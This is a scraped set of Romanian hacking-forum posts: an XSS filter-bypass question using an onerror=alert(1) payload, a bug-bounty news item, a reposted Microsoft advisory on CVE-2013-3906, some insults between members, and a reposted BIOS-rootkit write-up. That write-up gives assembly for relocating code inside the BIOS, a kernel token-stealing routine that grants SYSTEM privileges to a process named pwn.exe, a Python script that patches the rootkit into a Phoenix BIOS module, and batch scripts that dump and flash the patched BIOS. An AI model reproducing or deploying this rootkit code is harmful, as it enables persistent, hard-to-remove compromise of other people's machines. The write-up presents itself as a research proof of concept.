Nytro

Ghilimelele fac parte doar din textul meu, ca sa se inteleaga codul de care vorbeam: onerror=alert(1) Are rost. Daca lucrezi doar la partea de backend si un designed de 2 lei scrie: <img src=[TEMPLATE_ENGINE_TEXT] /> Daca nu filtrezi si "=" o sa ai probleme. Daca gasiti vreun truc care sa mearga, ceva prin HTML5 poate, nu stiu, sa postati aici sa stim si noi.

[h=1]Microsoft ?i Facebook ofer? premii hacker-ilor cumin?i[/h] Sun? ciudat, îns? exist? ?i astfel de hacker-i. Microsoft ?i Facebook sunt dependente de Internet ?i vor ca probleme ce afecteaz? acest sistem global de comunicare s? fie cât mai pu?ine. A?a a ap?rut ini?iativ Hackerone. Cei ce g?sesc o vulnerabilitate în limbajele de programare ?i platformele folosite global vor primi o sum? de bani, ce începe de la 1.500 $ sau 5.000 $. În func?ie de importan?a vulnerabilit??ii descoperite, suma poate s? creasc? destul de mult. Proiectul Hackerone Un exemplu de vulnerabilitate ce va fi premiat? este cea descoperit? în 2011 ?i denumit? BEAST. Ea decripta în fundal date transmise prin protocolul HTTPS între un server web ?i utilizator. O astfel vulnerabilitate va afecta un num?r foarte mare de utilizatori ?i poate pune probleme mari pentru site-uri precum Facebook. Google a anun?at luna trecut? o ini?iativ? similar?, prin care premiaz? cu mai bine de 3.000 $ pe cei ce pot oferi update-uri de securitate pentru protocoale precum OpenSSL, OpenSSH ?i altele. eBay ?i Mozilla sunt alte companii ce ofer? bani persoanelor ce le pot da rapoarte personale în leg?tur? cu vulnerabilit??i ale serviciilor oferite. Sursa: Microsoft ?i Facebook ofer? premii hacker-ilor cumin?i Aici sa va vad.

Salut, Discutam cu niste baieti despre problema urmatoare. Avem urmatorul cod: <img src=<?php print filtru($_GET['plm']); ?> />Unde filtru este o functie care: 1. Face htmlentities cu ENT_QUOTES 2. Transforma caracterul "=" in entitate HTML (ca si htmlentities pentru celelalte caractere) Cu alte cuvinte nu va mai merge " onerror=alert(1)" pentru ca "=" va fi filtrat. Aveti idei de bypass la asa ceva? Vechiul "javascript:..." mai merge pe vreun browser? Nu am vazut niciodata asa ceva in practica, dar sunt curios daca s-ar putea exploata. Daca nu se poate, inseamna ca ar cam fi recomandat ca in functia de filtrare sa luati in considerare si "=". Astept parerile voastre pertinente aici. Thanks.

Da, nu e niciun site de cacat spart, nu e interesant... </ironic>

Sau am depasit nivelul de "cocalar hacker". Voi tot acolo o sa ramaneti.

CVE-2013-3906: a graphics vulnerability exploited through Word documents swiat 5 Nov 2013 9:09 AM Recently we become aware of a vulnerability of a Microsoft graphics component that is actively exploited in targeted attacks using crafted Word documents sent by email. Today we are releasing Security Advisory 2896666 which includes a proactive Fix it workaround for blocking this attack while we are working on the final update. In this blog, we’ll share details of the vulnerability and the Fix It workaround and provide mitigations and suggestions to layer protections against the attack. The exploit The attacks observed are very limited and carefully carried out against selected computers, largely in the Middle East and South Asia. The exploit needs some user interaction since it arrives disguised as an email that entices potential victims to open a specially crafted Word attachment. This attachment will attempt to exploit the vulnerability by using a malformed graphics image embedded in the document itself. In order to achieve code execution, the exploit combines multiple techniques to bypass DEP and ASLR protections. Specifically, the exploit code performs a large memory heap-spray using ActiveX controls (instead of the usual scripting) and uses hardcoded ROP gadgets to allocate executable pages. This also means the exploit will fail on machines hardened to block ActiveX controls embedded in Office documents (e.g. Protected View mode used by Office 2010) or on computers equipped with a different version of the module used to build the static ROP gadgets. [TABLE] [TR] [TD] [/TD] [TD=width: 175] Heap-Spray of memory [/TD] [/TR] [TR] [TD=width: 448] [/TD] [TD=width: 175] Initial ROP gadgets[/TD] [/TR] [/TABLE] Affected software Our initial investigations show that the vulnerability will not affect Office 2013 but will affect older versions such as Office 2003 and 2007. Due to the way Office 2010 uses the vulnerable graphic library, it is only affected only when running on older platforms such as Windows XP or Windows Server 2003, but it is not affected when running on newer Windows families (7, 8 and 8.1). This is another example that demonstrates the benefits of running recent versions of software in terms of security improvements (consider also that Windows XP support will end in April 2014). For more information and for the complete list of affected software, please refer to Security Advisory 2896666. [TABLE] [TR] [TD] Office 2003[/TD] [TD=width: 354] Affected[/TD] [/TR] [TR] [TD=width: 150] Office 2007[/TD] [TD=width: 354] Affected[/TD] [/TR] [TR] [TD=width: 150] Office 2010[/TD] [TD=width: 354] Affected only on Windows XP/Windows Server2003[/TD] [/TR] [TR] [TD=width: 150] Office 2013[/TD] [TD=width: 354] Not affected[/TD] [/TR] [/TABLE] Fix it workaround We created a temporary Fix it workaround that can block this attack. This temporary workaround doesn’t address the root cause of the vulnerability but simply changes the configuration of the computer to block rendering of the vulnerable graphic format that can trigger the bug. The change made by the Fix it consists in adding the following key to the local registry: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Gdiplus\DisableTIFFCodec = 1 We advise customers to evaluate usage of TIFF images in their environment before applying this workaround. Other layers of defense Users who are not able to deploy the Fix it workaround can still take some important steps to raise the bar for attackers and protect themselves. Install EMET (the Enhanced Mitigation Experience Toolkit) Our tests shows that EMET is able to mitigate this exploit in advance when any of the following mitigations are enabled for Office binaries: multiple ROP mitigations (StackPointer, Caller, SimExec, MemProt) available in EMET 4.0; other mitigations (MandatoryASLR, EAF, HeapSpray ) included in EMET 3.0 and 4.0; Use Protected View and block ActiveX controls in Office documents Even if the vulnerability relies in a graphic library, attackers deeply rely on other components to bypass DEP/ASLR and execute code, so users can still makes exploitation more difficult and unreliable by using Protected View to open attachments (default for Office 2010) or simply by blocking the execution of ActiveX controls embedded in Office documents. These general recommendations for Office hardening and better protection against attacks have been already suggested in the past in the following blogs which include examples and more details: MS12-027: Enhanced protections regarding ActiveX controls in Microsoft Office documents - Security Research & Defense - Site Home - TechNet Blogs A technical analysis on CVE-2012-1535 Adobe Flash Player vulnerability: Part 2 - Microsoft Malware Protection Center - Site Home - TechNet Blogs Finally, we are working with our MAPP partners to provide information that will help to detect samples related to this attack and improve overall coverage of antimalware and security products. We’d like to thank Haifei Li of McAfee Labs IPS Team for reporting this vulnerability in a coordinated manner and for collaborating with us. - Elia Florio, MSRC Engineering Sursa: https://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx?Redirected=true

Warn - Postati astfel de lucruri la Market, iar tu nu ai 50 de posturi.

BIOS Based Rootkits Background Everything described here is based on a project I completed in early 2011, which was originally started several years earlier. While attending CanSecWest in 2009, Anibal Sacco and Alfredo Ortega from Core Security did a presentation on "Persistent BIOS Infection" where they demonstrated how it was possible to patch the BIOS to do some nasty/awesome things. Their Phrack write-up is here: http://www.phrack.com/issues.html?issue=66&id=7. At the time this seemed really cool, but I never ended up getting the chance to try it out. A year later I needed to do a term project for school, so I decided to revisit BIOS hacking, and implement some of it myself. Over the past few years a lot has changed in the world of PC BIOS's, and now signed BIOS firmware is standard, and the UEFI architecture changes everything compared to how BIOS's were traditionally designed. Less than a year after I originally completed this project, the first evidence of malware actually infecting a BIOS in a somewhat similar manner was seen (Link). Simple measures such as BIOS update signing would easily prevent these types of BIOS modifications, and some research has also already been done to look at ways around that (such as the presentation on "Attacking Intel BIOS" by Rafal Wojtczuk and Alexander Tereshkin). So it's worth noting that none of what is described here is intended to represent any sort of new vulnerability, but is instead a proof of concept that can easily be tested and modified. My original goal with this project was to determine if BIOS based attacks and malware was feasible, and to actually be able to demonstrate it if it was. I think that goal still has value today, despite new technology steadily making this type of attack less relevant. If nothing else, learning how to do fun BIOS modifications in assembler is great in and of itself, so I've put this project online for others to see as well! If you don't want to read through all of this, and just want to actually try the results out, click here to jump to the bottom for a link to a sample BIOS to try and some brief instructions. Approach Currently there is a very limited amount of sample code available for the creation of BIOS rootkits, with the only publicly available code being released along with the initial BIOS rootkit demonstration in March of 2009 (as far as I'm aware). My first goal was to reproduce the findings made by Core Security in 2009, and then my second task was to investigate how I could extend their findings. My ultimate goal was to create some sort of BIOS based rootkit which could easily be deployed. In 2009 there was research done into a similar area of security, which is boot sector based rootkits. Unlike BIOS based rootkits, developments in this area have progressed rapidly, which has led to a number of different master boot record (MBR) based rootkits being developed and released. This type of rootkit was termed a "Bootkit", and similar to a BIOS based rootkit it aims to load itself before the OS is loaded. This similarity led a number of bootkit developers to remark that it should be possible to perform this type of attack directly from the BIOS instead of loading from the MBR. Despite the comments and suggestions that this bootkit code could be moved into the BIOS for execution, there has not yet been any examples of such code made public. The first stage for completing this project was to set up a test and development environment where BIOS modifications could be made and debugged. In their paper on Persistent BIOS Infection, Sacco and Ortega detail how they discovered that VMware contains a BIOS rom as well as a GDB server which can be used for debugging applications starting from the BIOS itself. After getting everything going successfully in VMware, work was done to port the VMware BIOS modifications to other similar BIOS's, and will be described in the second half of this write-up. VMware BIOS Configuration Ok, enough background, onto the actually doing it! The first step which is required is to extract the BIOS from VMware itself. In Windows, this can be done by opening the vmware-vmx.exe executable with any resource extractor, such as Resource Hacker. There are a number of different binary resources bundled into this application, and the BIOS is stored in resource ID 6006 (at least in VMware 7). In other versions this may be different, but the key thing to look for is the resource file that is 512kb in size. The following image shows what this looks like in Resource Hacker: While this BIOS image is bundled into the vmware-vmx.exe application, it is also possible to use it separately, without the need to modify into the vmware executable after each change. VMware allows for a number of "hidden" options to be specified in an image's VMX settings file. At some point I plan to document a bunch of them on the Tools page of this website, because some really are quite useful! The ones which are useful for BIOS modifications and debugging are the following: bios440.filename = "BIOS.ROM" debugStub.listen.guest32 = "TRUE" debugStub.hideBreakpoint = "TRUE" monitor.debugOnStartGuest32 = "TRUE" The first setting allows for the BIOS rom to be loaded from a file instead of the vmware-vmx application directly. The following two lines enable the built in GDB server. This server listens for connections on port 8832 whenever the image is running. The last line instructs VMware to halt code execution at the first line of the guest image's BIOS. This is very useful as it allows breakpoints to be defined and memory to be examined before any BIOS execution takes place. Testing was done using IDA Pro as the GDB client, and an example of the VMware guest image halted at the first BIOS instruction can be seen in the screenshot below: When initially using this test environment, there were significant issues with IDA's connection to the GDB server. After much trial and error and testing with different GDB clients, it was determined that the version of VMware was to blame. Version 6 and 6.5 do not appear to work very well with IDA, so version VMware version 7 was used for the majority of the testing. The BIOS is comprised of 16 bit code, and not the 32 bit code that IDA defaults to, so defining "Manual Memory Regions" in the debugging options of IDA was necessary. This allowed memory addresses to be defined as 16 bit code so that they would decompile properly. Recreating Past Results - VMware BIOS Modification As noted already, Sacco & Ortega have done two presentations on BIOS modification, and Wojtczuk & Tereshkin have also done a presentation regarding BIOS modification. Of these three presentations, only Sacco & Ortega included any source or sample code which demonstrated their described techniques. Since this was the only existing example available, it was used as the starting point for this BIOS based rootkits project. The paper by Sacco & Ortega is fairly comprehensive in describing their set up and testing techniques. The VMware setup was completed as described above, and the next step was to implement the BIOS modification code which they had provided. The code provided required the BIOS rom to be extracted into individual modules. The BIOS rom included with VMware is a Phoenix BIOS. Research showed that there were two main tools for working with this type of BIOS, an open source tool called "phxdeco", and a commercial tool called "Phoenix BIOS Editor", which is provided directly by Phoenix. The paper by Sacco & Ortega recommended the use of the Phoenix BIOS Editor application and they had designed their code to make use of it. A trial version was downloaded from the internet and it appears to have all of the functionality necessary for this project. Looking for a download link again I can't find anything that seems even half legitimate, but Google does come up with all kinds of links. I'll just assume that it should be fairly easy to track down some sort of legitimate trial version still. Once the tools are installed, the next step is to build a custom BIOS. I first tested that a minor modification to the BIOS image would take effect in VMware, which it did (changed the VMware logo colour). Next, I ran the Python build script provided by Sacco & Ortega for the BIOS modification. Aside from one typo in the Python BIOS assembly script everything worked great and a new BIOS was saved to disk. Loading this BIOS in VMware however did not result in the same level of success, with VMware displaying a message that something had gone horribly wrong in the virtual machine and it was being shut down. Debugging of this issue was done in IDA and GDB, but the problem was difficult to trace (plus there were version issues with IDA). In an effort to get things working quickly, a different version of VMware was loaded, so that the test environment would match that of Sacco & Ortega's. After some searching, the exact version of VMware that they had used was located and installed. This unfortunately still did not solve the issue, the same crash error was reported by VMware. While I had seen this BIOS modification work when demonstrated as part of their presentation, it was now clear that their example code would require additional modification before it could work on any test system. Many different things were learned as a result of debugging Sacco's & Ortega's code, and eventually the problem was narrowed down to an assembler instruction which was executing a far call to an absolute address which was not the correct address for the BIOS being used. With the correct address entered the BIOS code successfully executed, and the rootkit began searching the hard drive for files to modify. This code took a very long time to scan across the hard drive (which was only 15gb), and it was run multiple times before the system would start. The proof of concept code included the functionality to patch notepad.exe so that it would display a message when started, or to modify the /etc/passwd file on a unix system so that the root password would be set to a fixed value. This showed that the rootkits can be functional on both Windows and Linux systems, even if only used for simple purposes. Bootkit Testing While significantly later on in the project time line, the functionality of various bootkit code was also tested, and the results recreated to determine which would work best as not just a bootkit, but also a BIOS based rootkit. Four different bootkits were examined, the Stoned, Whistler, Vbootkit and Vbootkit2 bootkits. The Stoned and Whistler bootkits were designed to function much more like malware than a rootkit, and did not have a simple source code structure. The Vbootkit2 bootkit was much different, as it was not designed to be malware and had (relatively) well documented source code. This bootkit was designed to be run from a CD, but only was tested with Windows 7 beta. When used with Windows 7 retail, the bootkit simply did not load as different file signatures were used by Windows. Some time was spent determining the new file signatures so that this bootkit could be tested, but it would still not load successfully. To allow for testing a beta copy of Windows 7 was obtained instead. When the Vbootkit2 software was run on a Windows 7 beta system, everything worked as expected. The Vbootkit2 software included the ability to escalate a process to System (above admin) level privileges, to capture keystrokes, and to reset user passwords. These were all items that would be valuable to have included in a rootkit, but significant work remained to port this application to Windows 7 retail. The Vbootkit software was examined next; it was designed to work with Windows 2003, XP and 2000. While it was not packaged so that it could be run from CD, only minor modifications were required to add that functionality. This software only included the ability to escalate process privileges, but that alone is a very valuable function. This bootkit software was chosen for use with the BIOS rootkit, which is described in the next section. NVLabs (http://www.nvlabs.in/) are the authors of the bootkit itself, which in many ways represents the main functionality of this project, so a big thanks to them for making their code public! It appears their source code is no longer available on their website, but it can still be downloaded from Archive.org here. BIOS Code Injection The proof of concept code by Sacco & Ortega which was previously tested was very fragile, and its functions were not the type of actions that a rootkit should be performing. The first step in developing a new rootkit was to develop a robust method of having the BIOS execute additional code. Sacco & Ortega patched the BIOS's decompression module since it was already decompressed (so that it could decompress everything else), and it is called as the BIOS is loaded. This reasoning was appropriate, but the hooking techniques needed to be modified. During normal operation, the BIOS would call the decompression module once for each compressed BIOS module that was present. The VMware BIOS included 22 compressed modules, so the decompression code was called 22 times. This module will overwrite our additional code as it resides in buffer space, so it is necessary to have our addition code relocate itself. The process that I used includes the following steps: Insert a new call at the beginning of the decompression module to our additional code. Copy all of our additional code to a new section of memory. Update the decompression module call to point to the new location in memory where our code is. Return to the decompression module and continue execution. This process allows for a significant amount of additional code to be included in the BIOS ROM, and for that code to run from a reliable location in memory once it has been moved there. The above four steps can be shown in a diagram as follows: (mspaint is awesome) Implementing this code in assembler was possible a number of different ways, but the goal was to create code that would be as system independent as possible. To accomplish this, all absolute addressing was removed, and only near calls or jumps were used. The exceptions to this were any references to our location in the free memory, as that was expected to be a fixed location, regardless of the system. The following is the assembler code which was used to handle the code relocation: start_mover: ; The following two push instructions will save the current state of the registers onto the stack. pusha pushf ; Segment registers are cleared as we will be moving all code to segment 0 xor ax, ax ; (This may or may not be obvious, but xor'ing the register sets it to 0). xor di, di xor si, si push cs; Push the code segment into the data segment, so we can overwrite the calling address code pop ds; (CS is moved to DS here) mov es, ax ; Destination segment (0x0000) mov di, 0x8000 ; Destination offset, all code runs from 0x8000 mov cx, 0x4fff ; The size of the code to copy, approximated as copying extra doesn't hurt anything ; The following call serves no program flow purposes, but will cause the calling address (ie, where this code ; is executing from) onto the stack. This allows the code to generically patch itself no matter where it might ; be in memory. If this technique was not used, knowledge of where in memory the decompression module would be ; loaded would be required in advance (so it could be hard coded), which is not a good solution as it differs for every system. call b b: pop si ; This will pop our current address of the stack (basically like copying the EIP register) add si, 0x30 ; How far ahead we need to copy our code rep movsw ; This will repeat calling the movsw command until cx is decremented to 0. When this command is ; finished, our code will be copied to 0x8000 mov ax, word [esp+0x12] ; This will get the caller address to patch the original hook sub ax, 3 ; Backtrack to the start of the calling address, not where it left off mov byte [eax], 0x9a ; The calling function needs to be changed to an Call Far instead of a Call Near add ax, 1 ; Move ahead to set a new address to be called in future mov word [eax], 0x8000 ; The new address for this code to be called at mov word [eax+2], 0x0000 ; The new segment (0) ; The code has now been relocated and the calling function patched, so everything can be restored and we can return. popf popa ; The following instructions were overwritten with the patch to the DECOMPC0.ROM module, so we need to run them now before we return. mov bx,es mov fs,bx mov ds,ax ret ; Updated to a near return Once the above code is executed, it will copy itself to memory offset 0x8000, and patch the instruction which initially called it, so that it will now point to 0x8000 instead. For initially testing this code, the relocated code was simply a routine which would display a "W" to the screen (see screenshot below). The end goal however was that our rootkit code could be called instead, so the next modification was to integrate that code. As noted in the earlier section, the "VBootkit" software was determined to be the best fit for the type of rootkit functionality that could be loaded from the BIOS. The VBootkit software was originally created so that it would run from a bootable CD. While this starting point is similar to running from the BIOS, there are a number of key differences. These differences are mainly based on the booting process, which is shown below: Our BIOS based rootkit code will run somewhere in between the BIOS Entry and the BIOS Loading Complete stages. A bootkit would instead run at the last stage, starting from 0x7C00 in memory. The VBootkit software was designed so that it would be loaded into address 0x7C00, at which point it would relocate itself to address 0x9E000. It would then hook interrupt 0x13, and would then read the first sector from the hard drive (the MBR) into 0x7C00, so that it could execute as if the bootkit was never there. This process needed to be modified so that all hard coded addresses were replaced (as the bootkit is no longer executing from 0x7C00). Additionally, there is no need to load the MBR into memory as the BIOS will do that on its own. The VBootkit software hooks interrupt 0x13, that is, it replaces the address that the interrupt would normally go to with its own address, and then calls the interrupt after doing additional processing. This turned out to require an additional modification as when our BIOS rootkit code is called interrupt 0x13 is still not fully initialized. This was overcome by storing a count in memory of how many times the decompression module had been run. If it had been run more 22 times (for 22 modules), then the BIOS was fully initialized, and we could safely hook interrupt 0x13. The Vbootkit software follows the following process: When first called it will relocate itself to 0x9E000 in memory (similar to our BIOS relocation done previously) Next it will hook interrupt 0x13, which is the hard disk access interrupt All hard disk activity will be examined to determine what data is being read If the Windows bootloader is read from the hard disk, the bootloader code will be modified before it is stored in memory The modification made to the bootloader will cause it to modify the Windows kernel. This in turn will allow arbitrary code to be injected into the Windows kernel, allowing for the privilege escalation functionality. With our BIOS injection plus the bootkit loaded the process flow happens as follows: The result of all of these modifications is a BIOS which copies the bootkit into memory and executes it, loads the OS from the hard drive, and then ends with an OS which has been modified so that certain processes will run with additional privileges. The following screenshot shows the bootkit code displaying a message once it finds the bootloader and the kernel and successfully patches them: The code used for this rootkit was set to check for any process named "pwn.exe", and if found, give it additional privileges. This is done every 30 seconds, so the differences in privileges are easy to see. This function can be seen in the code and screenshot below: xor ecx,ecx mov word cx, [CODEBASEKERNEL + Imagenameoffset] cmp dword [eax+ecx], "PWN." ; Check if the process is named PWN.exe je patchit jne donotpatchtoken ; jmp takes 5 bytes but this takes 2 bytes patchit: mov word cx, [CODEBASEKERNEL + SecurityTokenoffset] mov dword [eax + ecx],ebx ; replace it with services.exe token, offset for sec token is 200 The BIOS rootkit which has been developed could definitely include more functionality (such as what is included in Vbootkit2), but still acts as an effective rootkit in its current state. BIOS Decompression and Patching Now that we know how we want the rootkit to be injected into the BIOS, the next step is to actually patch the BIOS with our rootkit code. To do this we need to extract all of the BIOS modules, patch the decompression module, and reassemble everything. The modules can be extracted using the phxdeco command line tool, or the Phoenix BIOS Editor. Once the decompression module is extracted, the following code will patch it with our rootkit: #!/usr/bin/pythonimport os,struct,sys ############################################### # BIOS Decompression module patching script - By Wesley Wineberg # # The Phoenix BIOS Editor application (for Windows) will generate a number of module files # including the decompression module which will be named "DECOMPC0.ROM". These files are # saved to C:\Program Files\Phoenix Bios Editor\TEMP (or similar) once a BIOS WPH file is # opened. The decompression module file can be modified with this script. Once modified, # any change can be made to the BIOS modules in the BIOS editor so that a new BIOS WPH file # can be generated by the BIOS editor. The decompression module can alternatively be # extracted by phnxdeco.exe, but this does not allow for reassembly. This script requires # that NASM be present on the system it is run on. # # INPUT: # This patching script requires the name and path to the BIOS rootkit asm file to be passed # as an argument on the command line. # # OUTPUT: # This script will modify the DECOMPC0.ROM file located in the same directory as the script # so that it will run the BIOS rootkit asm code. # Display usage info if len(sys.argv) < 2: print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename required!" exit(0) # Find rootkit code name shellcode = sys.argv[1].lower() # Assemble the assembler code to be injected. NASM is required to be present on the system # or this will fail! os.system('nasm %s' % shellcode) # Open and display the size of the compiled rootkit code shellcodeout = shellcode[0:len(shellcode)-4] decomphook = open(shellcodeout,'rb').read() print "Rootkit code loaded: %d bytes" % len(decomphook) # The next line contains raw assembly instructions which will be placed 0x23 into the decompression rom # file. The decompression rom contains a header, followed by a number of push instructions and then # a CLD instruction. This code will be inserted immediately after, and will overwrite a number of # mov instructions. These need to be called by the rootkit code before it returns so that #the normal decompression functions can continue. # The assembler instruction contained below is a Near Call which will jump to the end of the # decompression rom where the rootkit code has been inserted. This is followed by three NOP # instructions as filler. minihook = '\xe8\x28\x04\x90\x90\x90' # The following would work but is an absolute call, not ideal! # minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A # Load the decompression rom file decorom = open('DECOMPC0.ROM','rb').read() # Hook location is 0x23 in to the file, just past the CLD instruction hookoffset=0x23 # Insert hook contents into the decompression rom, overwriting what was there previously decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:] # Pad the decompression rom with 100 NOP instructions. This is not needed, but does make it # easier to identify where the modification has taken place. decorom+="\x90"*100+decomphook # Pad an additional 10 NOP's at the end. decorom=decorom+'\x90'*10 # Recalculate the ROM size, so that the header can be updated decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:] # Save the patched decompression rom over the previous copy out=open('DECOMPC0.ROM','wb') out.write(decorom) out.close() # Output results print "The DECOMPC0.ROM file has now been patched." An example of how to call the above script would be: python patchdecomp.py biosrootkit.asm If everything works successfully, you should see something similar to the following: Rootkit code loaded: 1845 bytes The DECOMPC0.ROM file has now been patched. BIOS Reassembly For raw BIOS files, such as the one included with VMware, a number of command line utilities included with the Phoenix Bios Editor (or available from Intel) can be used to reassemble everything. Later on when testing with a real PC it was necessary to save the BIOS in more than just the raw format, so the tool for reassembly used was the GUI version of the Phoenix Bios Editor. This unfortunately means that it is not possible to simply have one application that can be run on a system which will infect the BIOS, at least not using off the shelf tools. This now means that the BIOS infection is a three stage process, requiring some manual intervention mainly for the reassembly. The following shows the Phoenix BIOS Editor with a BIOS image open: The Phoenix BIOS Editor is not specifically designed for swapping modules in and out, but does effectively allow for it. When a BIOS image is first opened, all of the BIOS modules will be extracted to disk in a folder located at C:\Program Files\Phoenix BIOS Editor\TEMP\. The decompression module can be copied from this folder, patched, and replaced. The Phoenix BIOS Editor will not allow you to save a BIOS without a modification, so it is necessary to modify a string value and then change it back (or just leave it) so that the BIOS can be saved. The BIOS based rootkit source code and patching scripts can be downloaded from the links near the end of this write-up if you would like to try all of this out yourself. Real PC's The Phoenix BIOS was used with all of the VMware based development, so this was also chosen for testing with a physical PC. All of the physical (as opposed to virtual) BIOS testing was done using an HP Pavilion ze4400 laptop. BIOS testing was originally planned for use with PC's and not laptops, as getting access to the PC motherboard for reflashing if necessary would be much easier. Despite this fact, quickly locating a PC with a Phoenix BIOS proved to be difficult, so a laptop was used instead (special thanks to David for reflashing my laptop when I accidently wrote source code to my BIOS!) PC BIOS Retrieval The first step to modifying a real system BIOS is to extract a copy of it. Phoenix has two different tools which they generally provide for this purpose, one is called "Phlash16", and the other is called "WinPhlash". Phlash16 is a command line utility (with a console based GUI), but will only run from DOS. WinPhlash, as its name suggests, runs from Windows. While this is a GUI based utility, it will also accept command line options, allowing us to automate the process of BIOS retrieval. For this project I ended up making some scripts to automate BIOS extraction and patching, but they're quite basic and limited. The following batch script will copy the BIOS into a file named BIOSORIG.WPH, and then check if it has previously been modified. The CheckFlash.py Perl script simply checks the BIOS contents for my name, which would not be in any unpatched BIOS. @rem This file dumps the bios and checks if it has previously been patched. @rem Dump WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH @rem Check if the BIOS has been patched already Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH PC BIOS Decompression and Patching With the BIOS retrieved, the next step is to patch it with our rootkit code. This can be done using the exact same scripts that we used for VMware in the sections above. It was a goal of this project to design the patch as well as the patching process to be as compatible as possible. I am quite pleased that this turned out to be completely possible, so that the same tools can be used for completely different hardware running the same type of BIOS. PC BIOS Reassembly While there is a free tool which can extract modules from Phoenix BIOS's, it appears that only the Phoenix Bios Editor will reassemble them as needed for typical PC's. The WinPhlash tool requires additional information to be included with the BIOS, which it stores along with the raw BIOS in the WPH file. After testing many different options, it appears that the only way to successfully reassemble the WPH file is to use the GUI Phoenix Bios Editor. This unfortunately means that it is not possible to simply have one application that can be run on a system which will infect the BIOS, at least not using off the shelf tools. Theoretically it should be possible to reverse engineer the WPH format and create a custom BIOS reassembly tool, but this was out of the scope of this project. Instead, the BIOS infection is a three stage process, requiring some manual intervention mainly for the reassembly. As with patching the VMware BIOS, the same trick to have the Phoenix BIOS Editor reassemble a patched module can be used. When a BIOS image is first opened, all of the BIOS modules will be extracted to disk in a folder located at C:\Program Files\Phoenix BIOS Editor\TEMP\. The decompression module can be copied from this folder, patched, and replaced. The Phoenix BIOS Editor will not allow you to save a BIOS without a modification, so it is necessary to modify a string value and then change it back (or just leave it) so that the BIOS can be saved. BIOS Flashing Once the BIOS is reassembled into the WPH file, the following batch script will flash the new BIOS image into the BIOS EEPROM and then reboot the PC so that it takes effect: @rem This file uploads a file named "BIOSPATCHED.WPH" to the BIOS. Will reboot system when done. WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH Laptop Modification Results With everything described so far put together, the following shows the BIOS code being flashed onto a laptop (being run from the infect.bat script detailed above): Once the flash completed, the BIOS rootkit successfully ran and loaded itself into the Windows kernel. The following screenshot shows a command prompt which starts initially as a normal user, and then after 30 seconds has its privileges escalated: This demonstrated that the BIOS rootkit was portable enough to work on multiple systems (VMware, the HP laptop), and that the infection mechanisms were functional and working properly. The "rootkit" developed for this project only implements one simple task, but as noted regarding the Vbootkit2 software, there is no reason additional functionality cannot be added to this. BIOS's made by Phoenix were examined for this project, and it is likely that there are many similarities between Phoenix BIOS's and BIOS's from other manufacturers. While it is likely that code will need to be created for each separate manufacturer, there are not a large number of different BIOS vendors, so expanding this rootkit functionality to all of the common manufacturers should be feasible. In the introduction I noted that new BIOS features, such as signed BIOS updates, make much of what is described here far less of an issue from a security standpoint. That is definitely good to see, but it is also worth remembering that there are more "legacy" computers out there than there are "new" ones, so this type of attack will still remain an issue for quite a while to come. Demo VMware BIOS and source code The following source code, and patched BIOS is provided as a proof of concept. It is in no way my intention that people take this and use it for any malicious purposes, but rather to demonstrate that such attacks are completely feasible on older BIOS configurations. I do not expect that it is very feasible to take this in its current form and turn it into any sort of useful malware, and based on that I am posting this code online. As noted in the earlier sections, this code should work to patch most "Phoenix" BIOS's. The patching scripts can be downloaded here: BIOS_Based_Rootkit_Patch_Scripts.zip The source code for the BIOS rootkit can be downloaded here: biosrootkit.asm You will need NASM to compile the code to patch into the BIOS if you are using the above scripts / source code. NASM should either be added to your path variable, or you should update the patching script to have an absolute path to it for it to work successfully. You will also need a copy of the Phoenix BIOS Editor, or a free tool equivalent to combine the decompression module back into a complete BIOS. If you don't want to compile this all yourself and would simply like to try it, a pre-patched BIOS for use with VMware can be downloaded here: BIOS_rootkit_demo.ROM PoC Usage and Notes If you don't feel like reading through the whole write-up above, here is the summary of how to try this out, and what it does. First, download the BIOS_rootkit_demo.ROM BIOS image from the above link. To try it, you need a copy of VMware installed, and a guest Windows XP operating system to test with. I've personally tested this with a bunch of different versions of VMware Workstation, as well as the latest version of VMware Player (which is free). I am also told that VMware Fusion works just fine too. Before opening your guest WinXP VM, browse to where you have the VM stored on your computer, and open the .vmx file (ie WindowsXP.vmx or whatever your VM is called) in notepad. Add a new line at the end that matches the following: bios440.filename = "BIOS_rootkit_demo.ROM". Make sure you copy BIOS_rootkit_demo.ROM to that folder while you're at it. Now open and start the VM, then rename a program to pwn.exe (cmd.exe for example). Wait 30 seconds, and then start the Task Manager. Pwn.exe should be running as user "SYSTEM" now instead of whatever user you are logged into XP with. The list of steps described above should work in an ideal world. Testing has shown the following caveats however! OS instability. Sometimes when booting or just simply closing your pwn.exe application Windows will BSOD. Task Manager will lie about your process user if you open it in advance of the 30s permission escalation time. Use something like cmd with whoami to properly check what your permissions are. While I have loaded this successfully onto a real PC, I take no responsibility for the results if you do the same. I'd love to hear about it if you brick your motherboard in some horrendous way, but I probably won't actually be able to help you with it! Use at your own risk! If you just want to watch a video of what this does, Colin has put one up on YouTube: . I recommend actually trying it in VMware, it's way more fun to see a hard drive wipe do nothing, and your system still affected! Sursa: EXFiLTRATED

E o vorba din popor: va strangeti ca mustele la cacat.

